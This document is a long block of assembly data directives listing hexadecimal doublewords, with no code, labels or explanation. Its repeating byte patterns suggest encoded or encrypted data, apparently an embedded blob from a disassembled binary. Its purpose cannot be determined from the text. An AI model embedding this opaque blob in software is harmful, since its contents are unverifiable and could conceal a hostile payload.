		dd 9053FDD1h, 0D458D190h, 11E28739h, 2E2E2F3Ah,	7ED16938h
		dd 0BBD9D1D2h, 3B739ABh, 399057F1h, 5288E96Eh, 21945CACh
		dd 39D1D0D5h, 0B63996BBh, 945A88FDh, 2D3D945Ah,	50E39054h
		dd 6C50AD6Ch, 0B2BE3A97h, 50816C50h, 6C50F86Ch,	56D19056h
		dd 579DD190h, 5ADAA590h, 909053FDh, 57ED52D1h, 9057F990h
		dd 709057F9h, 5A9FD1D1h, 0EEB9C494h, 0D9945ACFh, 89D9C42Eh
		dd 0D1BBE138h, 39D1BBC1h, 9416E490h, 0E9C42E01h, 0C1039458h
		dd 9458945Ch, 333AD331h, 0D981E111h, 89D9C42Eh,	81E11138h
		dd 39D1BBC1h, 9416E22Ch, 0C42E8121h, 11399458h,	0E1115AE1h
		dd 5AE1115Ah, 115AE111h, 0E1115AE1h, 5AE1185Ah,	0C839945Ah
		dd 11BA945Ah, 945AD8E1h, 0C4D1F6F7h, 0D1D3EEB9h, 9338D4D1h
		dd 2ED1BBA9h, 0EA91F5C4h, 0D1F69694h, 91D1D5D0h, 0C42ED1D1h
		dd 0C594EAF5h, 0D0D1F696h, 94EAD1D5h, 0D1F696C5h, 39E9C42Eh
		dd 94EAE55Dh, 0D1F696CDh, 5ABC3A88h, 0C42E2554h, 2E1952F9h
		dd 52CD94EAh, 11E2C1ACh, 84D1D53Ah, 0B9D190A1h,	90A19058h
		dd 905889D1h, 9190589Dh, 58E59058h, 9058F590h, 0D19058C5h
		dd 593D9058h, 90590190h, 0A1905919h, 90A1D190h,	905971D1h
		dd 59D190A1h, 90A19059h, 9059A1D1h, 0B5D190A1h,	90A19059h
		dd 90599DD1h, 0E19059EDh, 90A19059h, 0D190A1D1h, 0A1D190A1h
		dd 693DD190h, 545CD0F9h, 2E9D5458h, 11E28164h, 0D1D1DB38h
		dd 0D1D0F138h, 52CAD1C1h, 642EC06Ch, 3A903E49h,	3E495CE1h
		dd 61B98890h, 0B90D545Ch, 545C53C5h, 545C81D1h,	0E281642Eh
		dd 0AC521811h, 0D1D07CDDh, 29D9AC52h, 803D9058h, 945AF152h
		dd 3D945899h, 0D12F5A80h, 0D99C5AD1h, 10D1D12Fh, 0D12FD931h
		dd 0C13110D1h, 10D1D12Fh, 0BB3DC931h, 0D12E2EDBh, 39D1D113h
		dd 5A84FC19h, 0BB823A3Dh, 3ABBE93Ah, 0D33ABBCCh, 2DB452E2h
		dd 0D0D9A42Eh, 9458945Ch, 0B9843A21h, 0C9945CD1h, 945A9021h
		dd 0EC523D3Dh, 2EA4D1D1h, 0BB88812Eh, 128CD1D0h, 0E2C42EC6h
		dd 11E25211h, 945CD03Ah, 69259458h, 5B8DD1DAh, 29AC5290h
		dd 3D2D945Ah, 945C3D52h, 0D601B935h, 0A381B9D3h, 0D0D1D190h
		dd 1889D0D1h, 0D0D1D0D1h, 90A31889h, 0E9C42ED1h, 0D0F80139h
		dd 0C42E1889h, 0F8A139E9h, 0D11889D0h, 0BBD1D1BBh, 3AD061D1h
		dd 3DD1900Eh, 16D83D52h, 0D1D0F594h, 0F1D1D1D0h, 8539D1BBh
		dd 3811E2F5h, 0D5945CD5h, 0B6382EB9h, 0D190A32Eh, 0E2E9238h
		dd 11E2D190h, 2D94583Ah, 5A3A11E2h, 0D0BB2D94h,	3D503D89h
		dd 0AB2D9416h, 2E2E545Ah, 545AF22Eh, 0E1D9945Ah, 3903545Ah
		dd 0D1D1D0D2h, 2E545AABh, 803D2E2Eh, 50803D52h,	2E11E2D5h
		dd 945AD9A4h, 0DD9C5ADDh, 392D945Ah, 9458CC9Dh,	3AD33A29h
		dd 2E945AFBh, 0D1BB2E2Eh, 0D1BBD15Ah, 0C7841218h, 2E3D945Ah
		dd 9416D8A4h, 589416D8h, 945C359Ch, 0D1900E0Dh,	5A11E2D6h
		dd 0A42E2D94h, 0D1900E09h, 0E2E533Ah, 503DD190h, 0D239033Dh
		dd 0D89416D8h, 9C589416h, 0D1900E35h, 5A11E2D6h, 2EC32D94h
		dd 0AD38D4C4h, 0D11D545Ch, 0D0BB545Ch, 5642E2Eh, 0ED1900Eh
		dd 0BB3DD190h, 3D5A84D0h, 3DA42ED1h, 0F6CF5280h, 5AD1BBD1h
		dd 0A3A42E81h, 0F6CFD190h, 115488D1h, 3A545ACCh, 945A3AD3h
		dd 0D23903DDh, 0D4C42ED0h, 0D1C2D0BBh, 642ED1D1h, 39D1BBC1h
		dd 9416C501h, 0E9C42E21h, 0A3239458h, 0D1D6D190h, 0C79958D1h
		dd 2E6C52CEh, 66DED12Eh, 0D601EC11h, 0DE2EB9AAh, 67DE1166h
		dd 1167DE11h, 0DE1167DEh, 9C5A1167h, 0C36C393Dh, 0DE1166DEh
		dd 67DE1167h, 1167DE11h, 5A1167DEh, 93393D9Ch, 1166DEC3h
		dd 8DD601ECh, 0DE88D0BBh, 0D1BBD066h, 0BB1167DEh, 0D17BBBD0h
		dd 0B9D0BBD1h, 393D9C5Ah, 66DEC060h, 67DE8811h,	0DED1BBD0h
		dd 0DE881167h, 0B5B9D067h, 393D9C5Ah, 0BBD3C084h, 545888D1h
		dd 0DED12E2Eh, 2E2E1166h, 1166DED1h, 0AAD601ECh, 66DE2EB9h
		dd 1167DE11h, 0DE1167DEh, 67DE1167h, 3D9C5A11h,	0DEC18B39h
		dd 67DE1166h, 1167DE11h, 0DE1167DEh, 9C5A1167h,	0DE0E393Dh
		dd 0EC1166DEh, 0BB8DD601h, 1166DED0h, 0D067DE88h, 67DED1BBh
		dd 67DE8811h, 5AA5B9D0h, 9F393D9Ch, 66DE88DEh, 0DED1BBD0h
		dd 0D0BB1167h, 1167DEBBh, 393D9C5Ah, 66DEDF23h,	7D545811h
		dd 0D3E9C42Eh, 90A3C9B9h, 155C5AD1h, 2E155C5Ah,	8188D12Eh
		dd 545AD12Eh, 24D190A3h, 523D2E2Eh, 2D94583Dh, 39D0D1B9h
		dd 2ED7CA65h, 0CA4F39A4h, 5A2D9C5Ah, 0D13B2D9Ch, 905B41D1h
		dd 84D1D1E7h, 21B93D5Ah, 0D190A15Bh, 0D11DB9D1h, 0B9D165B9h
		dd 0EC52D14Dh, 0D1A5D1D1h, 0D0D1A5D1h, 3251B918h, 881154D1h
		dd 54389458h, 0D0C511D3h, 58DB9139h, 95382594h,	219458D3h
		dd 11C5B983h, 4E3AD0C5h, 21B4522Eh, 11219458h, 6C3AD0C5h
		dd 945CD552h, 2ED19032h, 90320164h, 0D0C511D1h,	32D0C511h
		dd 0B9ADD190h, 0D0C511D5h, 0A4399458h, 0C5115ACAh, 0CC39D1D0h
		dd 8412188Fh, 2E2E3D5Ah, 0B9803D2Eh, 9552D1D0h,	16D6905Ah
		dd 35945894h, 38C1BBD1h, 9458D16Ah, 945AE931h, 0DFD16FDEh
		dd 5AD8945Ah, 39A42E94h
		dd 5880803Dh, 2ED12D94h, 52803DA4h, 5AD99C5Ah, 9C5ADD9Ch
		dd 3D503DC1h, 0D538D4A5h, 0B9D551B9h, 0D3C938B9h, 395AEFA4h
		dd 0D1ECD2C2h, 3638D4D3h, 3A25545Ch, 0BBD03AD3h, 3D5458D1h
		dd 0D13D642Eh, 0D05152D1h, 315458D1h, 85545AA3h, 2ECE905Ah
		dd 0A7388864h, 3DD1D0D0h, 0D0D53D50h, 0D190A1D1h, 5CC5B988h
		dd 537D2D54h, 642EE190h, 0D53D503Dh, 90A1D1D0h,	88D1D0D1h
		dd 88545C88h, 5458A9B9h, 642EC029h, 3D89D0BBh, 0D0D53D50h
		dd 0D190A1D1h, 0D2B9D1BBh, 0D1D1D1BBh, 0D190A1D1h, 0A139945Ch
		dd 0B9D1D190h, 0D1D1D151h, 5CD190A1h, 642E2994h, 0D190A131h
		dd 0D13D503Dh, 0B9D1945Ch, 0D1D0D5EEh, 2E905C35h, 545CC1A4h
		dd 545C8129h, 3DD1BBD0h, 0DCA43D52h, 3D503D5Ah,	0D1D1D0D5h
		dd 523DC42Eh, 9458883Dh, 5AB0BBABh, 5F55359Ch, 3AD33A90h
		dd 2C299458h, 0BBD1D1D1h, 0D1BBD1D1h, 0A139945Ch, 0A42ED190h
		dd 905FF9D9h, 0A1945CD1h, 0BBD1D190h, 9053FDD1h, 3DBBD190h
		dd 90A13D50h, 0D1D12DD1h, 5C31545Ah, 54880D54h,	31545A11h
		dd 585A39D0h, 5C353D94h, 3D945A90h, 0D13D945Ah,	90A1545Ch
		dd 3A2DB9D1h, 0D3905F5Dh, 0BB95545Ch, 49545CD1h, 0D1D1BBD1h
		dd 2ED1545Ch, 0D190A3C4h, 0D53D503Dh, 90A1D1D0h, 29545AD1h
		dd 2C29545Ah, 545AD1D1h, 0D39D129h, 3925545Ch, 2E882B0Ah
		dd 0D190A1C4h, 2E2B5839h, 2ED185C4h, 0D1D06CC4h, 0F1D190A3h
		dd 5C88C1BBh, 2DAC5254h, 0D9BBD9BBh, 6D39545Ch,	0D1F6C12Bh
		dd 0D9E05417h, 2E0F545Ch, 545CD92Eh, 0D1522E2Eh, 90A3D1B9h
		dd 6C52D8D1h, 0A3D1B9D1h, 52D8D190h, 0C42EE36Ch, 0C2E2E0Ch
		dd 54582E2Eh, 91642EEDh, 6CE95458h, 642ED1D0h, 9B545CE9h
		dd 0D1D072B9h, 642E88D1h, 1811E2E5h, 0B95CDBBBh, 0D5D02E2Eh
		dd 0A53981D1h, 58D1D06Ch, 52882594h, 945AD9ACh,	72A42EC1h
		dd 5EFDD1D0h, 0A42E8190h, 0DE945ACBh, 945AD16Fh, 3D523D29h
		dd 0D1C9945Ah, 0D1BBA42Eh, 905E9D2Eh, 0D1299458h, 5AC7A339h
		dd 945AD194h, 2E945AD1h, 5A862E2Eh, 9697DAA4h, 0F38C8A8Fh
		dd 6FDE945Ah, 0D16FDED1h, 583D523Dh, 5AFD2D94h,	0D16FDE94h
		dd 5A2DB452h, 9458D994h, 0D99C5829h, 3A945AF0h,	3AD35AC4h
		dd 29945832h, 58C1AC52h, 803D2994h, 0D9945A52h,	5880803Dh
		dd 94582D94h, 0D99458D9h, 58D99458h, 0FEA4D994h, 0EA39815Ah
		dd 0DEA42EE1h, 945A1167h, 0DC3A88DDh, 3DC9945Ah, 945C3D52h
		dd 1945C29h, 0C931945Ch, 6FDE9021h, 25945C94h, 5C946FDEh
		dd 0ED392194h, 6FDE883Bh, 5C2D945Ch, 85B93594h,	945AD95Eh
		dd 0D8299458h, 0D33A945Ah, 25945A3Ah, 3DDD945Ah, 8C8A8782h
		dd 3B913912h, 0B5AC50D8h, 0A3C2A42Eh, 16DAA2D7h, 0A2D1D1D1h
		dd 0D1D116DAh, 0D7A3C2D1h, 3DD7A3C1h, 0B9D6BB80h, 0A41154D1h
		dd 863D503Dh, 0D13676B9h, 0D190A1D1h, 52E288F5h, 5416216Ch
		dd 0A55416A5h, 16A55416h, 5416A554h, 0A55416A5h, 0DEA55416h
		dd 5CDD546Fh, 5416DD54h, 0D3D3D1C8h, 5416D1D1h,	61541669h
		dd 8F905AB5h, 0D076188Ah, 2D9458D1h, 0A52E2E06h, 945C9043h
		dd 81B9D109h, 552039DCh, 2E2E905Eh, 905E7188h, 582688D7h
		dd 0BB812994h, 395458D1h, 5C39545Ch, 0F6C12954h, 29545CD1h
		dd 5C6C52FAh, 0BBD10D54h, 0D1900ED1h, 0EBBD0BBh, 51B9D190h
		dd 9DEC5242h, 3AA9B9C3h, 9439B9C1h, 5416DD66h, 0DB5416DDh
		dd 54165416h, 41541645h, 0B55D5416h, 11E2905Ah,	0D1D07618h
		dd 0D9904259h, 54DED1BBh, 0D076B9AAh, 162D9416h, 5CF52D94h
		dd 0D1B9D154h, 3A45D5B9h, 2EE552D6h, 0E654DE64h, 2ED5B9C2h
		dd 5AB53D64h, 13188F90h, 1CB9803Dh, 45852E2Eh, 9C42E90h
		dd 88AF39F5h, 3AD1A039h, 1218D1C5h, 0F509C42Eh,	3988D139h
		dd 3D523D22h, 0F509C42Eh, 39885D39h, 0DD3AD1AEh, 0D1F4523Dh
		dd 0B9D1B9D1h, 84128C79h, 0F1D1F458h, 45A5EC52h, 0D1D19190h
		dd 8AD1DC58h, 523D1318h, 2ED1BB3Dh, 0D0D3D1D1h,	11E23A89h
		dd 90BC6B18h, 86D1F458h, 2E88B458h, 9045B9A4h, 8AD1DC58h
		dd 523D1318h, 3279B93Dh, 11219458h, 3279D049h, 88D1D190h
		dd 11299458h, 945AD049h, 19D2D129h, 0D17291D1h,	5AD9AC52h
		dd 7299D194h, 0E249B9D1h, 0D0BB3A11h, 79B93D89h, 0D17299D1h
		dd 2ED1945Ah, 903279A4h, 5284128Ch, 5AC62DACh, 0D1D1D594h
		dd 2904565h, 1170D1D1h,	945A8432h, 88DFE439h, 5ACB67DEh
		dd 3D503D54h, 0D1AD52D1h, 5AD17299h, 0D1D04994h, 0D1000C39h
		dd 3279A42Eh, 90456590h, 70903279h, 52D13211h, 955CD1ADh
		dd 88DD4F39h, 70B467DEh, 32117211h, 39955AD1h, 2ED1011Dh
		dd 3D503D64h, 1D1D072h,	0B9D1D1D1h, 3811E23Dh, 51903279h
		dd 52D121B4h, 0D1D239ADh, 0D1903279h, 0A42E955Ch, 0D43AD32Dh
		dd 2EB9803Dh, 1154D9A4h, 0C9BB3DA4h, 3DD1D5D1h,	2E3DA42Eh
		dd 0A45A86A4h, 8A128C8Ah, 11E2128Ch, 0D1BBD938h, 941F5439h
		dd 9458A42Eh, 67DEB705h, 5AD190A1h, 503D2194h, 0D1D37D3Dh
		dd 0A1D1D11Ch, 0D1D2D190h, 0C42ED1D1h, 0D13DB9D1h, 0B9D1C42Eh
		dd 0C42ED10Dh, 0D1D417D1h, 90A352D0h, 545AF6D1h, 0F191545Ah
		dd 545AA42Eh, 38D1D1E1h, 89E1545Ah, 444567DEh, 9044B990h
		dd 0B9904491h, 388847C9h, 88D1D1D8h, 8818E739h,	2ECFAC52h
		dd 0A42EDFA4h, 0ECD1D118h, 2EDFF611h, 0D1D118A4h, 58A42EDFh
		dd 0BBD13994h, 2ED83AD1h, 0D0CD693Dh, 5C81D1D1h, 0D1C1D154h
		dd 88905E9Dh, 0B9C41154h, 2EC73A8Dh, 79D239B9h,	3AD39032h
		dd 904749D4h, 7652803Dh, 0AC52D1D2h, 140D39C1h,	39F53A88h
		dd 5A881414h, 0B1A73994h, 39D072B9h, 47651467h,	0DD945A90h
		dd 38A42E81h, 945AD13Ch, 0D17E38DDh, 38BB3981h,	5A81D15Fh
		dd 0E39E3A94h, 81DD945Ah, 3981945Ah, 1167DE26h,	0E3D061D5h
		dd 945A3A11h, 0A42E81DDh, 5AD09338h, 0D538DD94h, 945AC7D0h
		dd 5A5AE5ADh, 7E38DD94h, 0C43981D1h, 81D15F38h,	9E3A945Ah
		dd 0DD945AE3h, 81945A81h, 67DE7339h, 0D061D511h, 163A11E3h
		dd 0F63A2D94h, 29945816h, 58945ADDh, 945A3194h,	9945831h
		dd 0AE52E8ADh, 945852E2h, 88D1D12Dh, 5AC1A42Eh,	1154C594h
		dd 0A51154A5h, 88904ED5h, 9238B738h, 0A51154CFh, 0D545CCAh
		dd 1154904Fh, 0DE1154A5h, 5411B99Dh, 38D4A411h,	39642E22h
		dd 4D395458h, 1154904Fh, 0D738D4DEh, 58315458h,	545A3154h
		dd 904FA131h, 38A51154h, 1154CAB1h, 0DE1154A5h,	0C86F88DDh
		dd 0D1D3D3D1h, 642EDDD1h, 2E642EDDh, 5CD42E2Eh,	545CD454h
		dd 54905AB5h, 5CDEA511h, 545CDE54h, 54A51154h, 0DED1DE11h
		dd 154586Fh, 0DD5416DDh, 545C5416h, 0A5115475h,	54A51154h
		dd 1154A411h, 0A51154A5h, 54A51154h, 1154A511h,	0A51154A5h
		dd 2E882E2Eh, 1154882Eh, 0A51154A5h, 54A51154h,	1154A511h
		dd 0A51154A5h, 54C20D38h, 1154A411h, 0A51154A4h, 54A51154h
		dd 0D0D5A511h, 903A2DD1h, 54C33038h, 1154A511h,	0D1D1C3DEh
		dd 58654239h, 9B384954h, 49642EC3h, 39D1C1D1h, 4A6165ECh
		dd 0A5115490h, 39D1D1C0h, 54586251h, 0C0E63845h, 38455C5Ah
		dd 1154C13Eh, 4E3888A5h, 54A51154h, 9A38A511h, 0A51154C1h
		dd 38A51154h, 1154DE26h, 0DE1838A5h, 54A51154h,	1154A511h
		dd 51B988A5h, 5AA51154h, 0C9B9CD94h, 900A593Fh,	54D1D1CDh
		dd 0D1DFA511h, 0A51154D1h, 54DC2C38h, 1154A511h, 0D1D1DCA5h
		dd 54DCB338h, 0CF38A511h
		dd 0A51154DCh, 54A51154h, 0D1DDA411h, 0A51154D1h, 38A51154h
		dd 1154DA2Eh, 0A41154A4h, 0C8A51154h, 1154D1D1h, 0C42ED1A5h
		dd 0FDD1BBD1h, 0D1909053h, 0C42ED152h, 5AA51154h, 5B9CD94h
		dd 0A5115448h, 54A41154h, 4638A511h, 0A51154DBh, 54DBB838h
		dd 1154A411h, 0DE1154A5h, 0ED1BBD1h, 0BBD3D190h, 0D1D5D0D1h
		dd 54D1900Eh, 0BBD1DE11h, 0D1900ED1h, 0D0D1BBD5h, 900ED1D5h
		dd 0D1900ED1h, 0D4DE1154h, 545CD738h, 0BA545CBFh, 5AB9545Ch
		dd 1154CD94h, 0D1BBC1DEh, 81D12E2Eh, 5458C42Eh,	545CD081h
		dd 0B92E2E2Eh, 115449F1h, 0A51154A4h, 54A51154h, 1154A411h
		dd 0A41154A5h, 54A51154h, 5458A511h, 0D2DE3895h, 54A51154h
		dd 1154A411h, 215416DEh, 163D5416h, 54163954h, 31541635h
		dd 540D5416h, 0D3BBA511h, 4721B9B9h, 88A41154h,	5A3D8F8Eh
		dd 0D9945894h, 5C3D5A84h, 4E992954h, 904E9990h,	0D53D503Dh
		dd 9458D1D1h, 945888D9h, 0DDD051ECh, 54585416h,	904E7DC5h
		dd 5411E2D6h, 5488DE11h, 904E5911h, 51A41154h, 1154904Eh
		dd 4EA5B9A4h, 6DA41154h, 0B9B92E2Eh, 0A411544Eh, 0D3115488h
		dd 1154D1D1h, 0A41154DEh, 54904E59h, 4E51A411h,	0A4115490h
		dd 544EA5B9h, 2E6AA411h, 4EB9B92Eh, 54A41154h, 2E2EA411h
		dd 904E8D58h, 89A41154h, 1154904Eh, 904E85A4h, 54A41154h
		dd 1154A411h, 904E9DA4h, 0B9A41154h, 39D14E7Dh,	0B839817Bh
		dd 0F680803Dh, 0D14DD1D2h, 2E2E7AD1h, 2E41B139h, 2ED129A4h
		dd 3D5A84A4h, 52A42EB5h, 3BB9DDACh, 0B9C03A90h,	52903BB9h
		dd 3639C1ACh, 0B9C03A90h, 38903639h, 0DD11D153h, 0B9B9D12Eh
		dd 0B9945A88h, 0D14A903Bh, 52DD11D1h, 11A5D1D1h, 0B9D12EDDh
		dd 38B9B939h, 0D13BB9B9h, 503D88D1h, 2D545C3Dh,	0E4903639h
		dd 39B9D1D1h, 903E4936h, 495CC23Ah, 0DE88903Eh,	1154D16Fh
		dd 4B9020C9h, 545CD1D1h, 903EC92Dh, 0DB6D0239h,	88F55416h
		dd 55416E2h, 81BB8188h,	31526C52h, 9B98AFEh, 59D1D149h
		dd 6FDE900Ah, 3FC9B9D4h, 0D1B9F53Ah, 945C945Ch,	51945C51h
		dd 88904ED5h, 3EC9945Ch, 188E8890h, 0E3D639D1h,	0D1E3D1D1h
		dd 9038B9D1h, 0B99038B9h, 0EC523BB9h, 0D0BBD0A5h, 5A9071CDh
		dd 53C52994h, 29545C90h, 0F929545Ch, 53C59071h,	0D1D14790h
		dd 0CD2D545Ch, 945A9071h, 907189D9h, 99D9945Ah,	71F99071h
		dd 0C1945C90h, 0B929945Ah, 545C53C5h, 29545C29h, 3D522E2Eh
		dd 0C1D1D569h, 9053C5D1h, 5CD1D145h, 523D2D54h,	0C42E2E3Dh
		dd 0CED1BBD1h, 0BB88DED1h, 0D1D519D1h, 3DD0BBD1h, 0BBE88080h
		dd 0D99C5AE1h, 5AABBBC4h, 9C5AD99Ch, 9070A5D9h,	38115488h
		dd 70B5DCBFh, 0A4115490h, 54D1D1DCh, 7085A411h,	0DE115490h
		dd 95DE1154h, 11549070h, 945AC3DEh, 0B9DD5B38h,	74520A59h
		dd 0D1BBAB3Ch, 5A19545Ah, 5B811954h, 0A5115490h, 39A41154h
		dd 11549071h, 0A42E81A5h, 5DB3938h, 11549071h, 633E39DEh
		dd 88415416h, 5281BB81h, 0FE31526Ch, 0D5D1D15Fh, 0C938904Eh
		dd 90711DD8h, 54A41154h, 5458A411h, 0D9AF38C9h,	54907161h
		dd 5AF0DE11h, 903EC994h, 75545C88h, 0C9B99071h,	900A593Fh
		dd 49A51154h, 0C23A9071h, 5CC23A5Ch, 38907149h,	7145D674h
		dd 0A4115490h, 41D6AE38h, 11549071h, 995458DEh,	0D1D6E038h
		dd 21C9D1D0h, 1167DE90h, 0D1D72438h, 21C9D1D0h,	0A4115490h
		dd 81A41154h, 3888C9B9h, 0DE115456h, 91945A81h,	54583981h
		dd 0E9398195h, 81545888h, 5A88CF39h, 5AC03A94h,	819071ADh
		dd 0AF3A6339h, 0D1D3D15Ah, 2E9071ADh, 54882E2Eh, 0C59C5A11h
		dd 85C99C5Ah, 11549070h, 0DD945AA4h, 549071A5h,	945AA411h
		dd 0C59C5ADDh, 0D8C99C5Ah, 545A6C52h, 0D1D159E5h, 0D3A41154h
		dd 545AAE3Ah, 916FDEA9h, 0AE916FDEh, 2E2E16F6h,	0D140382Eh
		dd 0F56C52E5h, 5C5A545Ah, 0A41154F9h, 549071A1h, 67DEA411h
		dd 5417D811h, 0FD2688B5h, 5CC1945Ah, 0A4115454h, 0D1D1D0D1h
		dd 673852D1h, 907085D3h, 54A51154h, 5458DE11h, 0A15458A1h
		dd 0DC15545Ah, 1154545Ch, 1167DEDEh, 2E545ACDh,	0D43A2E2Eh
		dd 3AD1D138h, 0EAD1D150h, 10D12594h, 29945831h,	0EA2910D1h
		dd 10D12594h, 29945831h, 0D12910D1h, 94583110h,	945AD129h
		dd 582E9959h, 67DE2994h, 9467DE94h, 589467DEh, 0D43A2994h
		dd 1154D138h, 2E3AD3A4h, 3A55DDA4h, 0D45C8890h,	8AC1BBD1h
		dd 52CF1218h, 5210D228h, 3D10D2D1h, 5C863D52h, 903A4994h
		dd 0D1E45C88h, 0E57D2F5Ah, 12188A7Bh, 26102826h, 94581028h
		dd 0D9945A29h, 58D99C5Ah, 94582D94h, 29945829h,	58D99C5Ah
		dd 803D2D94h, 29945880h, 882D945Ah, 94589458h, 29945829h
		dd 3D945888h, 0E385945Ah, 0D9945AC1h, 91D99C5Ah, 0D1D1FA89h
		dd 945A8852h, 0A3DD9458h, 5A88BBE4h, 0DD945894h, 0BBE9BB88h
		dd 5AD92ED1h, 0C1BB8894h, 0F1945AB7h, 582458F5h, 94581194h
		dd 0FEF78F8Bh, 94585807h, 5A299425h, 0E89458B6h, 6A9A2E2Bh
		dd 9458B427h, 58945854h, 9C5A2994h, 80803DD9h, 3D945A90h
		dd 3A7D5280h, 0D5BBD190h, 0D1903A65h, 2ED1D5BBh, 218687A4h
		dd 0D112D2D1h, 0D2D110D2h, 17D2D113h, 0D116D2D1h, 0D2D114D2h
		dd 2339D115h, 0D1DE21D1h, 21D1DE21h, 1AD2D1DEh,	0D118D2D1h
		dd 8ED1DE21h, 0C939868Fh, 0D1D1D1B6h, 20269C5Ah, 8A8F8E5Ah
		dd 0D187823Dh, 39868F8Eh, 2EF4D11Fh, 0D1128C8Ah, 8C8A2EF4h
		dd 3152D112h, 3A128C8Ah, 2E2E5A81h, 2E2E2E2Eh, 58D99458h
		dd 803DDD94h, 0DD945A80h, 5A299458h, 9458D99Ch,	3D523DD9h
		dd 11945C86h, 0E45C903Ah, 12188A11h, 0F03AD3AFh, 0D3AE945Ah
		dd 945AF03Ah, 54D1D1CAh, 0B9D1A411h, 0D9945AD1h, 71D9945Ah
		dd 0D1D19079h, 52D1D152h, 0D152D1D1h, 0D1D152D1h, 52D1D152h
		dd 0C1A41154h, 945AD1D1h, 0D9945AD9h, 0FD1D1CBh, 0B9B1D1D1h
		dd 1552D179h, 0BB545A81h, 0D1D1D1D2h, 35B9F152h, 9552D1D1h
		dd 0D4112E2Eh, 52E4A45Ah, 0CF299458h, 0B452D4BBh, 5AD41125h
		dd 0B13D503Dh, 5888D13Bh, 2D642E54h, 0D1D1D18Bh, 121888D1h
		dd 0D1D3D184h, 0B139545Ch, 1154D13Bh, 6C52D8DEh, 3A90177Dh
		dd 177D5C52h, 90177D90h, 5CA51154h, 11543954h, 39545CA5h
		dd 382E2E91h, 11542F8Ah, 39545CA5h, 5CA51154h, 11543954h
		dd 39545CA5h, 542E2EEEh, 545CA511h, 0A5115439h,	5439545Ch
		dd 5B81DE11h, 5BB1B990h, 0D1545CD7h, 545CD1D3h,	0DE115439h
		dd 58545888h, 642E6D54h, 39545C6Dh, 5CDE1154h, 52D83954h
		dd 9052A96Ch, 38545888h, 0BBD3D3CCh, 903A2DD1h,	0EA39545Ch
		dd 545C2E2Eh, 2E2EEA39h, 5CDE1154h, 2E263954h, 9014892Eh
		dd 9139545Ch, 2E6A5458h, 0A511542Eh, 0D139545Ch, 545CD1D3h
		dd 0D5131839h, 0D02E2EEBh, 1709D1D1h, 0A5115490h, 5C90171Dh
		dd 545CD154h, 0D1B9E3D1h, 54901719h, 176DA511h,	0D1545C90h
		dd 69D1B9E3h, 11549017h, 0D1D19EA5h, 0DB299458h, 16D5945Ch
		dd 642EB490h, 58219458h, 2E2EE954h, 0E9642E88h,	2FA42E3Dh
		dd 803D2E2Eh, 9D3AD339h, 8116C1B9h, 0D076A42Eh,	0D1D19CD1h
		dd 2E2E2EA8h, 90A3882Eh, 2EB9D5D1h, 589052A9h, 2EA92554h
		dd 4D545C2Eh, 0D1D1BBD1h, 90A3C42Eh, 0D1D19BD1h, 0D1A5642Eh
		dd 90A3C2BBh, 545AD1D1h, 5BD190A3h, 642EB154h, 545AD125h
		dd 0A8D190A3h, 0B9D02E2Eh, 85545835h, 599016B1h, 0BBD1900Ah
		dd 0D190A3D8h, 18882E2Eh
		dd 0D076D513h, 2E2EEAD1h, 81901661h, 2EA0A42Eh,	2994582Eh
		dd 0DE945AF2h, 0D0BBD16Fh, 3D523D89h, 0D6DDAC50h, 0E2D611E2h
		dd 1552D111h, 2ED190A3h, 0D058E9C4h, 0D1D03552h, 0D11552D1h
		dd 59D1D1BBh, 0A42ED194h, 0AB399458h, 5C5AB0BBh, 3AD33AA1h
		dd 0D1ADB988h, 5AF1D1D0h, 545CD154h, 0DD88D1D1h, 0D0D1D416h
		dd 0B9B83AD1h, 58903CC1h, 0D3D12994h, 3A89D0D1h, 5452803Dh
		dd 90A3A411h, 299458D1h, 5A52EB11h, 0EB112994h,	0DDA42ED4h
		dd 582E2E0Dh, 11542D54h, 0D1545CA4h, 7B907001h,	2EEB2E2Eh
		dd 0D1D3D2A4h, 0A2A41154h, 5AD27452h, 0B9E53A54h, 5C3AD33Ah
		dd 5CD17D54h, 29A42E54h, 0D02E2E2Dh, 9458A42Eh,	3D503D2Dh
		dd 0D0D1D07Ch, 9458545Ch, 903A252Dh, 0B9545A88h, 5458D239h
		dd 2EF53A99h, 0B9A41154h, 94582E2Eh, 0D12E2E25h, 392D9458h
		dd 0A42EFE1Ch, 0A42E812Dh, 11299458h, 0EB1852EBh, 3A4F3A5Ah
		dd 3D2E2E2Eh, 0B9C73D50h, 0A4115451h, 0D1D1D1D3h, 11E2D1D9h
		dd 21945838h, 0D1905E9Dh, 39D10D39h, 901F8568h,	0BB89D5BBh
		dd 89D389D2h, 89D0BB38h, 919DB9D7h, 5458901Fh, 356C5235h
		dd 52D7BBD4h, 6C52316Ch, 89D4BB35h, 0D4356C52h,	6C52D7BBh
		dd 89D4BB35h, 9D3D503Dh, 545CD1D0h, 0A4115427h,	5C642EF6h
		dd 0C9B92B94h, 52B53A21h, 0B95CDBBBh, 0D5D02E2Eh, 0A53981D1h
		dd 0B9F53A88h, 545C21C9h, 23642E65h, 5C52CA3Ah,	642E2B94h
		dd 3D503D23h, 0D1D1D318h, 545C545Ch, 11545C11h,	5C115488h
		dd 0D43A7D54h, 5416DD38h, 0DBBB5416h, 545B5416h, 3139D165h
		dd 39882E2Eh, 0D1E2D1D2h, 2638D4D1h, 54545C88h,	5CD1A411h
		dd 61545854h, 0FA4739F2h, 38D47554h, 0D0DE38E0h, 589DB9AAh
		dd 603A7954h, 0A41154B9h, 5C5AA83Ah, 545B7554h,	901F0D47h
		dd 18545CF5h, 52D7D513h, 0D03B38ACh, 5C3DB452h,	5C880994h
		dd 11548894h, 0DF059458h, 9458A42Eh, 9416D601h,	39D1D1FEh
		dd 0D072EFF8h, 901E85D1h, 9DA42E81h, 5AEB905Eh,	55545C54h
		dd 0D1935416h, 545B545Ch, 545CD1B9h, 38D1D1FDh,	0D1FD2F95h
		dd 2E2E84D1h, 0D12E2EC5h, 803D6139h, 0D1D2F652h, 39D1D1FAh
		dd 1E1FACDh, 2E2E8490h,	529001B5h, 5AC32D74h, 39545C54h
		dd 85D1D1FBh, 5AC19001h, 2E2E2E54h, 3D91642Eh, 0ADB9B980h
		dd 0A42ED101h, 0D1D1D1F8h, 523D58D1h, 0D190543Dh, 39D1D13Bh
		dd 939E736h, 0C1A42ECAh, 0F69000E1h, 2E82D1D1h,	0D1D2392Eh
		dd 58545CDBh, 0DEC5E154h, 3929A466h, 0D15CB23Ah, 0D2392E2Eh
		dd 545CF5D1h, 80900081h, 52D72E2Eh, 0D01D38ACh,	623D9458h
		dd 2EDFD1D3h, 9416D6A4h, 58D1D1F5h, 16D8D559h, 0F26C3994h
